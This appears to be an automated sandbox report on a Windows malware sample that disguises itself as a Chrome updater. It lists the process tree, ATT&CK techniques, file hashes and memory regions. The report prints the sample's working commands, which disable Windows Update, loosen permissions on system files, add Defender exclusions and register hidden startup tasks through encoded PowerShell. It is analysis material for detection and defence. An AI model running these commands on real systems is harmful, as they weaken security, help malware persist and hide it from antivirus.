"\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
- Suspicious use of WriteProcessMemory
PID:2428

C:\Windows\system32\sc.exe
sc stop UsoSvc
4⤵
- Launches sc.exe
PID:200

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
4⤵
- Launches sc.exe
PID:2560

C:\Windows\system32\sc.exe
sc stop wuauserv
4⤵
- Launches sc.exe
PID:2216

C:\Windows\system32\sc.exe
sc stop bits
4⤵
- Launches sc.exe
PID:3788

C:\Windows\system32\sc.exe
sc stop dosvc
4⤵
- Launches sc.exe
PID:2796

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
4⤵
- Modifies registry key
PID:1892

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
4⤵
- Modifies registry key
PID:3520

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
4⤵
- Modifies security service
- Modifies registry key
PID:876

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
4⤵
- Modifies registry key
PID:496

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
4⤵
- Modifies registry key
PID:1968

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:3996

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3760

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:3608

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:420

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:4048

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
4⤵
- Modifies registry key
PID:60

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
4⤵
PID:1620

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
4⤵
PID:4040

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
4⤵
PID:3744

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
4⤵
PID:1416

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
4⤵
PID:2212

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
4⤵
PID:2204

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
4⤵
PID:2136

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of WriteProcessMemory
PID:1384

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:164

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:2136

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3004

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1916

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAdQBoACMAPgAgAFIAZQBnAGkAcwB0AGUAcgAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAIAAtAEEAYwB0AGkAbwBuACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAQQBjAHQAaQBvAG4AIAAtAEUAeABlAGMAdQB0AGUAIAAnAHAAbwB3AGUAcgBzAGgAZQBsAGwAJwAgAC0AQQByAGcAdQBtAGUAbgB0ACAAJwAtAEUAbgBjAG8AZABlAGQAQwBvAG0AbQBhAG4AZAAgACIAUABBAEEAagBBAEgAVQBBAGIAdwBBAGoAQQBEADQAQQBJAEEAQgBUAEEASABRAEEAWQBRAEIAeQBBAEgAUQBBAEwAUQBCAFEAQQBIAEkAQQBiAHcAQgBqAEEARwBVAEEAYwB3AEIAegBBAEMAQQBBAEwAUQBCAEcAQQBHAGsAQQBiAEEAQgBsAEEARgBBAEEAWQBRAEIAMABBAEcAZwBBAEkAQQBBAG4AQQBFAE0AQQBPAGcAQgBjAEEARgBBAEEAYwBnAEIAdgBBAEcAYwBBAGMAZwBCAGgAQQBHADAAQQBJAEEAQgBHAEEARwBrAEEAYgBBAEIAbABBAEgATQBBAFgAQQBCAEgAQQBHADgAQQBiAHcAQgBuAEEARwB3AEEAWgBRAEIAYwBBAEUATQBBAGEAQQBCAHkAQQBHADgAQQBiAFEAQgBsAEEARgB3AEEAZABRAEIAdwBBAEcAUQBBAFkAUQBCADAAQQBHAFUAQQBjAGcAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAEkAQQBBAHQAQQBGAFkAQQBaAFEAQgB5AEEARwBJAEEASQBBAEIAUwBBAEgAVQBBAGIAZwBCAEIAQQBIAE0AQQBJAEEAQQA4AEEAQwBNAEEAZQBBAEIAcQBBAEcAUQBBAEkAdwBBACsAQQBBAD0APQAiACcAKQAgADwAIwBsAHIAbQByACMAPgAgAC0AVAByAGkAZwBnAGUAcgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABTAHQAYQByAHQAdQBwACkAIAA8ACMAagB1AGkAIwA+ACAALQBTAGUAdAB0AGkAbgBnAHMAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBTAGUAdAB0AGkAbgBnAHMAUwBlAHQAIAAtAEEAbABsAG8AdwBTAHQAYQByAHQASQBmAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABpAHMAYQBsAGwAbwB3AEgAYQByAGQAVABlAHIAbQBpAG4AYQB0AGUAIAAtAEQAbwBuAHQAUwB0AG8AcABJAGYARwBvAGkAbgBnAE8AbgBCAGEAdAB0AGUAcgBpAGUAcwAgAC0ARABvAG4AdABTAHQAbwBwAE8AbgBJAGQAbABlAEUAbgBkACAALQBFAHgAZQBjAHUAdABpAG8AbgBUAGkAbQBlAEwAaQBtAGkAdAAgACgATgBlAHcALQBUAGkAbQBlAFMAcABhAG4AIAAtAEQAYQB5AHMAIAAxADAAMAAwACkAKQAgADwAIwB2AHUAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwAgAC0AVQBzAGUAcgAgACcAUwB5AHMAdABlAG0AJwAgAC0AUgB1AG4ATABlAHYAZQBsACAAJwBIAGkAZwBoAGUAcwB0ACcAIAAtAEYAbwByAGMAZQAgADwAIwBzAHgAYQB6ACMAPgA7ACAAQwBvAHAAeQAtAEkAdABlAG0AIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAYgA0AGEAZAA4ADQAMgAwAGMAYQA2AGUAMgA1AGQAZQA5AGUAOQA4ADQAMwAxAGIANwAyADIAZgA3ADEAZQA2ADIAOQA1ADcAMABkADkAMQBiADgANQA2ADAANQBmADkAOABhADUAMQA0AGEANQAwADcAMwA2AGEAZABiAGIAYwAuAGUAeABlACcAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACcAQwA6AFwAUAByAG8AZwByAGEAbQAgAEYAaQBsAGUAcwBcAEcAbwBvAGcAbABlAFwAQwBoAHIAbwBtAGUAXAB1AHAAZABhAHQAZQByAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAAPAAjAGUAYQBuAHcAIwA+ADsAIABTAHQAYQByAHQALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAAPAAjAHAAYQBrAGQAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwA7AA=="
3⤵
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3864

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -EncodedCommand "PAAjAHUAbwAjAD4AIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABHAG8AbwBnAGwAZQBcAEMAaAByAG8AbQBlAFwAdQBwAGQAYQB0AGUAcgAuAGUAeABlACcAIAAtAFYAZQByAGIAIABSAHUAbgBBAHMAIAA8ACMAeABqAGQAIwA+AA=="
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1768

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:492

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Program Files\Google\Chrome\updater.exe"
3⤵
- Drops file in Drivers directory
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:3948

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAbAB4ACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAawBpACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHEAaAAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBhAGkAeQBuACMAPgA="
4⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2148

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
4⤵
PID:3520

C:\Windows\system32\sc.exe
sc stop UsoSvc
5⤵
- Launches sc.exe
PID:3760

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
5⤵
- Launches sc.exe
PID:1184

C:\Windows\system32\sc.exe
sc stop wuauserv
5⤵
- Launches sc.exe
PID:1620

C:\Windows\system32\sc.exe
sc stop bits
5⤵
- Launches sc.exe
PID:1272

C:\Windows\system32\sc.exe
sc stop dosvc
5⤵
- Launches sc.exe
PID:208

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
5⤵
- Modifies registry key
PID:2560

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
5⤵
- Modifies registry key
PID:2700

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
5⤵
- Modifies registry key
PID:3628

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
5⤵
- Modifies registry key
PID:3116

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
5⤵
- Modifies registry key
PID:2952

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3720

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4084

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:2800

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:1536

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:1892

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
5⤵
PID:416

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
5⤵
PID:320

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
5⤵
PID:1204

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
5⤵
- Modifies registry key
PID:2688

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
5⤵
PID:3608

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
5⤵
PID:1776

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
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PID:4060

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
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PID:3304

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
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PID:1016

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
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PID:1968

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
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PID:1324

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
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PID:2696

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
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PID:2204

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe "ksvudlgzwxvyjy"
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PID:164

C:\Windows\explorer.exe
C:\Windows\explorer.exe ludkbupigbltzfui1 GoySvqjslEz2cJjLp/l+rjzn6ce4jALjhSdARaKlIdOzscb8uSA4DC45OD1DpPEqN5dCL6SdfpGQxdbsBsqueaxRnQzTx2Bqmg+8Hm/cXMESqb4c3Os26fGj23Hqsnl0qmcpNr8N8RD0Uj65Is/XzsC3UFIPpYz7Zp9mKjXqYW+xHlpEMJ8pitovpD3AlrEcYhafjTHJIBsyQCmYqS8DwlNaC3+8ctTQ5gWGWPwhQ4m7w5ntgK8u6m/StfnNPDdr+VwS4s25pICn3Q/Dq0WEk/j+SBlrEi93dXqUBShtLfUbnT4w5YQhLxDVbXc7xoFDIPd01rv+1vwAaan4sl2k1YkrvCpkMy2cu5BYO8sYd8sc8dLcQPq/swWuhKRRVQuprYmKwuUqhwRP67Zf25Cl8Ux1mQQil7sp+RmWIA87i6XioWLBkWXEpGDqawTe1Tn4
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- Suspicious behavior: EnumeratesProcesses
PID:3256

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Impair Defenses

T1562

File Permissions Modification

T1222

Credential Access

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

T1489

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C:\Program Files\Google\Chrome\updater.exe
Filesize
7.2MB

MD5
39a2104f5c1096d1c9481cbf5203a820

SHA1
17b15f09ef79c1cfc0b8ae2c52fd0e564b00aa34

SHA256
b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc

SHA512
7b22e01e8b271c17e9c1480802bf111c502b3b18894b9e6dbf42e011809cb1f8f965e454f78c7bd14561733c7ab2b831a08a962ba375fc19048184350d18bf52

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C:\Program Files\Google\Chrome\updater.exe
Filesize
7.2MB

MD5
39a2104f5c1096d1c9481cbf5203a820

SHA1
17b15f09ef79c1cfc0b8ae2c52fd0e564b00aa34

SHA256
b4ad8420ca6e25de9e98431b722f71e629570d91b85605f98a514a50736adbbc

SHA512
7b22e01e8b271c17e9c1480802bf111c502b3b18894b9e6dbf42e011809cb1f8f965e454f78c7bd14561733c7ab2b831a08a962ba375fc19048184350d18bf52

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
8592ba100a78835a6b94d5949e13dfc1

SHA1
63e901200ab9a57c7dd4c078d7f75dcd3b357020

SHA256
fdd7d9def6f9f0c0f2e60dbc8a2d1999071cd7d3095e9e087bb1cda7a614ac3c

SHA512
87f98e6cb61b2a2a7d65710c4d33881d89715eb7a06e00d492259f35c3902498baabffc5886be0ec5a14312ad4c262e3fc40cd3a5cb91701af0fb229726b88c3

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
5b2a930376be1a4edd8ebd8e6ae8875f

SHA1
ab52636788bd2c097c729b8b5098e1d57a3eb2ca

SHA256
3796e7170d3e3e2c728a58d4e38570c110f2887114bccc971e0db4b67f8498c1

SHA512
b57b8b91d7588dd8ce70ed11a9f2c8ce64b9ea33392009348550773650764a0e2a3f0f2386c394cdae08f503ae51c86844ef8390aab684423a88f19f4d9bd72e

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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
5d574dc518025fad52b7886c1bff0e13

SHA1
68217a5f9e9a64ca8fed9eefa4171786a8f9f8f7

SHA256
755c4768f6e384030805284ab88689a325431667e9ab11d9aeaa55e9739742f2

SHA512
21de152e07d269b265dae58d46e8c68a3268b2f78d771d4fc44377a14e0c6e73aadae923dcfd34ce2ef53c2eaa53d4df8f281d9b8a627edee213946c9ef37d13

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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
e2d46bffd1d9300639cac360fac02cb4

SHA1
fd2b4813c8ab610294b6759192ca05bad5bb8958

SHA256
94ffe575e92d3bab6173fd7eca207088c8b374de79d93dddf45101048c0bead3

SHA512
54b1ea5f5bb1d8a402fbb5ab8f0d7bec9aa47cb48a4c411ee8032648a97efe466d9d8e7f87c5ac288e994eeb47e034eac94bb3631955f9ba2270d687e7620535

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C:\Windows\system32\drivers\etc\hosts
Filesize
2KB

MD5
c5227366b7a688ff23b01788718251aa

SHA1
9795262e79c832ba49c744fcd1b1794c0ffb5c6a

SHA256
789abfd744b03d07fac02be7177c535989ea9e92b9db32fb1360cdfd083a1f48

SHA512
8b9560fa2265f74aec7bb7b96e5a7dba789edc4166e58af9994a1ee95fa42b22a7539be804f4fcf3d5a9e657be020087a343b030fee6aaddbb67b1134810cfbe

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memory/60-227-0x0000000000000000-mapping.dmp

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memory/164-177-0x0000000000000000-mapping.dmp

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memory/164-477-0x0000020D19690000-0x0000020D19697000-memory.dmp

Filesize
28KB

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memory/164-455-0x0000020D19DC0000-0x0000020D19DC6000-memory.dmp

Filesize
24KB

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memory/200-176-0x0000000000000000-mapping.dmp

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memory/208-444-0x0000000000000000-mapping.dmp

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memory/320-475-0x0000000000000000-mapping.dmp

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memory/416-474-0x0000000000000000-mapping.dmp

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memory/420-225-0x0000000000000000-mapping.dmp

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memory/492-271-0x0000000000400000-0x00000000010B6000-memory.dmp

Filesize
12.7MB

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memory/492-270-0x00007FF816FA0000-0x00007FF81717B000-memory.dmp

Filesize
1.9MB

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memory/492-269-0x0000000000400000-0x00000000010B6000-memory.dmp

Filesize
12.7MB

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memory/492-268-0x0000000000400000-0x00000000010B6000-memory.dmp

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12.7MB

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memory/492-265-0x0000000000000000-mapping.dmp

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memory/496-190-0x0000000000000000-mapping.dmp

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memory/708-131-0x0000000000000000-mapping.dmp

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memory/708-140-0x000002C2A61F0000-0x000002C2A6266000-memory.dmp

Filesize
472KB

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memory/708-136-0x000002C2A5F20000-0x000002C2A5F42000-memory.dmp

Filesize
136KB

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memory/876-189-0x0000000000000000-mapping.dmp

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memory/1016-432-0x0000000000000000-mapping.dmp

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memory/1184-437-0x0000000000000000-mapping.dmp

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memory/1204-476-0x0000000000000000-mapping.dmp

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memory/1272-441-0x0000000000000000-mapping.dmp

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memory/1324-440-0x0000000000000000-mapping.dmp

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memory/1384-175-0x0000000000000000-mapping.dmp

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memory/1416-236-0x0000000000000000-mapping.dmp

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memory/1536-471-0x0000000000000000-mapping.dmp

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memory/1620-439-0x0000000000000000-mapping.dmp

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memory/1620-228-0x0000000000000000-mapping.dmp

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memory/1776-480-0x0000000000000000-mapping.dmp

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memory/1892-187-0x0000000000000000-mapping.dmp

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memory/1892-472-0x0000000000000000-mapping.dmp

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memory/1916-184-0x0000000000000000-mapping.dmp

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memory/1968-191-0x0000000000000000-mapping.dmp

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memory/1968-438-0x0000000000000000-mapping.dmp

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memory/2136-179-0x0000000000000000-mapping.dmp

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memory/2136-241-0x0000000000000000-mapping.dmp

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memory/2144-124-0x00000230F65C0000-0x00000230F69DE000-memory.dmp

Filesize
4.1MB

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memory/2144-123-0x00000230F35E0000-0x00000230F39FE000-memory.dmp

Filesize
4.1MB

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memory/2148-306-0x00000245D3110000-0x00000245D31C9000-memory.dmp

Filesize
740KB

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memory/2148-282-0x0000000000000000-mapping.dmp

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memory/2148-300-0x00000245D2A70000-0x00000245D2A8C000-memory.dmp

Filesize
112KB

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memory/2148-340-0x00000245D2A60000-0x00000245D2A6A000-memory.dmp

Filesize
40KB

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memory/2204-238-0x0000000000000000-mapping.dmp

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memory/2204-445-0x0000000000000000-mapping.dmp

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memory/2212-237-0x0000000000000000-mapping.dmp

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memory/2216-182-0x0000000000000000-mapping.dmp

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memory/2428-174-0x0000000000000000-mapping.dmp

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memory/2560-447-0x0000000000000000-mapping.dmp

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memory/2560-180-0x0000000000000000-mapping.dmp

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memory/2688-473-0x0000000000000000-mapping.dmp

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memory/2696-442-0x0000000000000000-mapping.dmp

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memory/2700-448-0x0000000000000000-mapping.dmp

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memory/2796-186-0x0000000000000000-mapping.dmp

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memory/2800-470-0x0000000000000000-mapping.dmp

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memory/2952-461-0x0000000000000000-mapping.dmp

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memory/3004-181-0x0000000000000000-mapping.dmp

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memory/3116-460-0x0000000000000000-mapping.dmp

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memory/3256-483-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

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memory/3256-464-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

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memory/3256-467-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

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memory/3256-478-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

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memory/3256-468-0x0000000000530000-0x0000000000550000-memory.dmp

Filesize
128KB

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memory/3256-466-0x0000000140000000-0x0000000140809000-memory.dmp

Filesize
8.0MB

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memory/3256-465-0x000000014036EAC4-mapping.dmp

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memory/3304-482-0x0000000000000000-mapping.dmp

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memory/3520-188-0x0000000000000000-mapping.dmp

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memory/3520-431-0x0000000000000000-mapping.dmp

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memory/3608-479-0x0000000000000000-mapping.dmp

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memory/3608-224-0x0000000000000000-mapping.dmp

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memory/3628-453-0x0000000000000000-mapping.dmp

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memory/3720-462-0x0000000000000000-mapping.dmp

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memory/3744-235-0x0000000000000000-mapping.dmp

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memory/3760-433-0x0000000000000000-mapping.dmp

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memory/3760-193-0x0000000000000000-mapping.dmp

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memory/3788-185-0x0000000000000000-mapping.dmp

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memory/3864-194-0x0000000000000000-mapping.dmp

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memory/3896-117-0x0000000000400000-0x00000000010B6000-memory.dmp

Filesize
12.7MB

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memory/3896-114-0x0000000000400000-0x00000000010B6000-memory.dmp

Filesize
12.7MB

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memory/3896-116-0x0000000000400000-0x00000000010B6000-memory.dmp

Filesize
12.7MB

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memory/3896-120-0x00007FF816FA0000-0x00007FF81717B000-memory.dmp

Filesize
1.9MB

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memory/3896-115-0x00007FF816FA0000-0x00007FF81717B000-memory.dmp

Filesize
1.9MB

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memory/3948-446-0x00000259CC650000-0x00000259CC662000-memory.dmp

Filesize
72KB

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memory/3948-443-0x00000259B34B0000-0x00000259B34B6000-memory.dmp

Filesize
24KB

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memory/3996-192-0x0000000000000000-mapping.dmp

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memory/4040-234-0x0000000000000000-mapping.dmp

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memory/4048-226-0x0000000000000000-mapping.dmp

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memory/4060-481-0x0000000000000000-mapping.dmp

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memory/4084-463-0x0000000000000000-mapping.dmp

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